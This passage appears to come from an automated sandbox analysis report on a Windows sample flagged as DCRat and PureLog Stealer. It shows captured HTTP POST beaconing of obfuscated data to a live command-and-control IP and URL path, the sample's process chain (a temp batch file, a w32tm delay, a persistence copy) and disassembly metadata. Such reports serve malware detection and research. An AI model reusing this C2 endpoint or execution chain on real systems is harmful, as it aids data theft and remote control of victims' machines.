Jan 4, 2025 13:39:08.424164057 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	50916	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:08.443176985 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:08.797036886 CET	1904	OUT	Data Raw: 50 52 5a 5c 5e 52 57 59 5d 59 52 51 5a 58 55 54 5f 5b 5c 40 50 51 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PRZ\^RWY]YRQZXUT_[\@PQVS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-Z0Z7!% *9"!^'8^1B%U':09$\" 3\&<.\/'^.5
Jan 4, 2025 13:39:09.129817009 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:09.258677959 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 5a 34 58 21 5a 20 03 34 54 26 2a 20 0d 21 28 2d 1b 2d 31 27 03 27 37 2a 01 2b 22 37 56 21 39 03 59 28 2c 2f 11 24 30 29 10 25 10 2c 5b 04 1f 20 08 35 06 29 1b 2e 2f 2f 58 2f 21 2d 11 33 04 28 5e 3d 3c 3b 1d 35 30 20 5b 2b 04 2e 0a 24 5f 33 53 3d 03 33 18 30 0e 33 04 31 3b 2b 5e 02 15 27 02 2a 5b 25 0a 20 3d 3d 5a 25 57 3d 0d 24 25 3b 0e 23 3b 28 0e 3e 39 26 5b 30 3f 38 57 37 09 2a 06 36 06 2d 03 37 16 24 0c 25 03 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %Z4X!Z 4T&* !(--1''7+"7V!9Y(,/$0)%,[ 5).//X/!-3(^=<;50 [+.$_3S=3031;+^'[% ==Z%W=$%;#;(>9&[0?8W7*6-7$%%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	50917	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:08.566220045 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:08.925038099 CET	2584	OUT	Data Raw: 55 55 5a 5c 5b 5e 57 5e 5d 59 52 51 5a 54 55 50 5f 5a 5c 41 50 5d 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UUZ\[^W^]YRQZTUP_Z\AP]VX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.>/4:9&>>_!.$+$Z1=0 T=:;#'<.\/'^.
Jan 4, 2025 13:39:09.247946978 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:09.378689051 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50918	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:09.500066042 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:39:09.859523058 CET	2584	OUT	Data Raw: 50 5a 5a 5a 5b 5b 57 58 5d 59 52 51 5a 5a 55 57 5f 54 5c 44 50 57 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PZZZ[[WX]YRQZZUW_T\DPWV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.@(/0Y#_)2V>**"B9\'+&$0(9,\ V(&.\/'^.
Jan 4, 2025 13:39:10.208565950 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:10.344296932 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50919	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:10.474241018 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:10.828210115 CET	2584	OUT	Data Raw: 50 54 5f 5e 5e 52 52 5d 5d 59 52 51 5a 5c 55 54 5f 5a 5c 47 50 53 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PT_^^RR]]YRQZ\UT_Z\GPSV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)( 6^%5])\%6$=_'$_&1V39)9 ]&,.\/'^.%
Jan 4, 2025 13:39:11.192017078 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:11.328357935 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50920	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:11.455168962 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:11.812438011 CET	2584	OUT	Data Raw: 55 57 5f 5b 5e 58 57 58 5d 59 52 51 5a 58 55 53 5f 55 5c 47 50 50 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UW_[^XWX]YRQZXUS_U\GPPV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)0] 952.(9"6$6$8Y&$/*)0# 4&<.\/'^.5
Jan 4, 2025 13:39:12.156596899 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:12.292403936 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	50921	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:12.427295923 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:12.781189919 CET	2584	OUT	Data Raw: 55 55 5f 5b 5e 53 57 5e 5d 59 52 51 5a 5c 55 54 5f 58 5c 45 50 51 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UU_[^SW^]YRQZ\UT_X\EPQV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.@></ 9:10(:57!Y0(0X'7:&:$W*_?# 3_%.\/'^.%
Jan 4, 2025 13:39:13.105792046 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:13.238575935 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	50922	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:13.365464926 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:13.718713999 CET	2584	OUT	Data Raw: 50 52 5f 50 5e 5a 57 5d 5d 59 52 51 5a 5a 55 51 5f 55 5c 42 50 55 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PR_P^ZW]]YRQZZUQ_U\BPUV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.B)4>]$0>>!4_'+;''.$)'=)(X#+_1.\/'^.
Jan 4, 2025 13:39:14.054908037 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:14.182420969 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	50923	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:14.271687031 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	50924	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:14.318886995 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:14.671821117 CET	2584	OUT	Data Raw: 55 50 5f 50 5b 5c 52 5b 5d 59 52 51 5a 58 55 54 5f 5c 5c 43 50 52 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UP_P[\R[]YRQZXUT_\\CPRVY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-Z$ _&$0)!4%8'7='#);#$',.\/'^.5
Jan 4, 2025 13:39:15.016957998 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:15.150306940 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Target ID:	0
Start time:	07:36:55
Start date:	04/01/2025
Path:	C:\Users\user\Desktop\aW6kSsgdvv.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\aW6kSsgdvv.exe"
Imagebase:	0x820000
File size:	3'687'424 bytes
MD5 hash:	E6745A5BD70CF276B92B38CDE101FEEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1651549669.0000000000822000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1697890254.00000000130D8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:36:59
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pESnCcNlNN.bat"
Imagebase:	0x7ff6af700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:36:59
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:36:59
Start date:	04/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff752720000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:36:59
Start date:	04/01/2025
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff64dcb0000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:37:04
Start date:	04/01/2025
Path:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe"
Imagebase:	0xdb0000
File size:	3'687'424 bytes
MD5 hash:	E6745A5BD70CF276B92B38CDE101FEEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4111793504.00000000034DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4111793504.00000000039E3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BA1000A Relevance: 12.6, Strings: 8, Instructions: 2561
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X^H9, xrefs: 00007FFD9BA129EB
lgf, xrefs: 00007FFD9BA1236A
+FDWoZ67GF084iPTLMYdxLcgHsJwUclSpGERfSzu9sWJ1JcVo7F4n1wWWincrjTOjJG3+5iZiAL3qLT4OnDJOPNueaibb6z2MjqNzTp+8UImjc1vcLdSF9IhC8r9J2hTM6, xrefs: 00007FFD9BA11871, 00007FFD9BA12A3B
J;0, xrefs: 00007FFD9BA11B02
yr-(, xrefs: 00007FFD9BA111C4
lgf, xrefs: 00007FFD9BA12C95
=2*E, xrefs: 00007FFD9BA10ABE
ie, xrefs: 00007FFD9BA107DB

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID: +FDWoZ67GF084iPTLMYdxLcgHsJwUclSpGERfSzu9sWJ1JcVo7F4n1wWWincrjTOjJG3+5iZiAL3qLT4OnDJOPNueaibb6z2MjqNzTp+8UImjc1vcLdSF9IhC8r9J2hTM6$=2*E$J;0$X^H9$ie$lgf$lgf$yr-(
API String ID: 0-3476596569
Opcode ID: 67aa93cf9496a09d34ba8db948019505771d51d10813773d052d55aa82011bb1
Instruction ID: 53261fed3a724ca26d4f34eaf543806d5eb433f84827e9224470d6c2d262357d
Opcode Fuzzy Hash: 67aa93cf9496a09d34ba8db948019505771d51d10813773d052d55aa82011bb1
Instruction Fuzzy Hash: B943CB70A55519CFEBA9DB18D8A9BA973B1FF48300F4145EAD40DA72A1CF356E81CF40

Function 00007FFD9B870DA4 Relevance: .3, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f6da586018e2385df19ee6c804627002354615edf2915bbbc07ce16740cd3fc
Instruction ID: 65635b40767ac84e72770d0300e43975d05ffad077af8e7ed48725b48fb39db1
Opcode Fuzzy Hash: 5f6da586018e2385df19ee6c804627002354615edf2915bbbc07ce16740cd3fc
Instruction Fuzzy Hash: 63A1E371A18A4D8FEBA8DBA8D865BA97FE0FF59304F4101BAD04CD72E6CB742801C741

Function 00007FFD9BA1EBB7 Relevance: 1.7, APIs: 1, Instructions: 159
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFD9BA1ECB1

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 97895fad5b1711a343f756a7442ffa4b5a76ad2b7eb39a28c05a111a448d3bb6
Instruction ID: dcd94b50450cda52fb1823c8bf9d151aa5bfc9c2fee205062b3a760a738ae8b7
Opcode Fuzzy Hash: 97895fad5b1711a343f756a7442ffa4b5a76ad2b7eb39a28c05a111a448d3bb6
Instruction Fuzzy Hash: 4F51BF7090D78C8FDB59DFA8D855AE8BFF0EF56310F1441ABD049DB292DA34A846CB01

Function 00007FFD9BA1D40D Relevance: 1.6, APIs: 1, Instructions: 141
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SuspendThread.KERNEL32 ref: 00007FFD9BA1D4E1

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: 56e24d7322c907a009f1ca1ea5d349056e06abafb4abbae88b7636c8c872c6de
Instruction ID: d7807003f02726c18d96da5d623613d4122fb4bd2b7378e1d220c069d77db095
Opcode Fuzzy Hash: 56e24d7322c907a009f1ca1ea5d349056e06abafb4abbae88b7636c8c872c6de
Instruction Fuzzy Hash: CF414B70E0864C8FDB98DF98D895BEDBBF0FB5A310F10416AD049E7252DA74A485CB40

Function 00007FFD9BA20A55 Relevance: 1.6, APIs: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 00007FFD9BA20B22

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a1645cc75cb9f863a9ff117bff38f518f9f4538bd33a0bcc4f7410a20200adcc
Instruction ID: fdf01e95b3c0fae497f618c900b492653d5935bfb7fb5c2eb43ed1cf6a169688
Opcode Fuzzy Hash: a1645cc75cb9f863a9ff117bff38f518f9f4538bd33a0bcc4f7410a20200adcc
Instruction Fuzzy Hash: 47411870A08A4C8FDB98DF98D895BEDBBF0FB5A310F10416AD049E7252DA71A985CF40

Function 00007FFD9BF7A028 Relevance: 1.4, Strings: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BF7A0A2

Memory Dump Source

Source File: 00000000.00000002.1728250862.00007FFD9BF70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf70000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4b67e499edf92264cbbd290e804582dea30c41d6295a4e79fd2d7b1abd57ea6c
Instruction ID: a59a673db8276452a08c7e1d6ccdac4ba1462cf0be7942ea5cc3e4c74f1e9f71
Opcode Fuzzy Hash: 4b67e499edf92264cbbd290e804582dea30c41d6295a4e79fd2d7b1abd57ea6c
Instruction Fuzzy Hash: D1519E31E0950E8FDB18DF98D8A05FCB7B1EF45300F1142BAC01EE7296DA36AA01CB40

Function 00007FFD9BA1ED19 Relevance: 1.4, APIs: 1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FFD9BA1EDF1

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: f452b2f72c6622a948b4c3daf302ad3bbfadb7e7b4a9394aebe2ecb0a4182c5f
Instruction ID: 2a58a74ba700dae4c0491f68e3ff26e913ba1b1e8b087075a33043f92f308202
Opcode Fuzzy Hash: f452b2f72c6622a948b4c3daf302ad3bbfadb7e7b4a9394aebe2ecb0a4182c5f
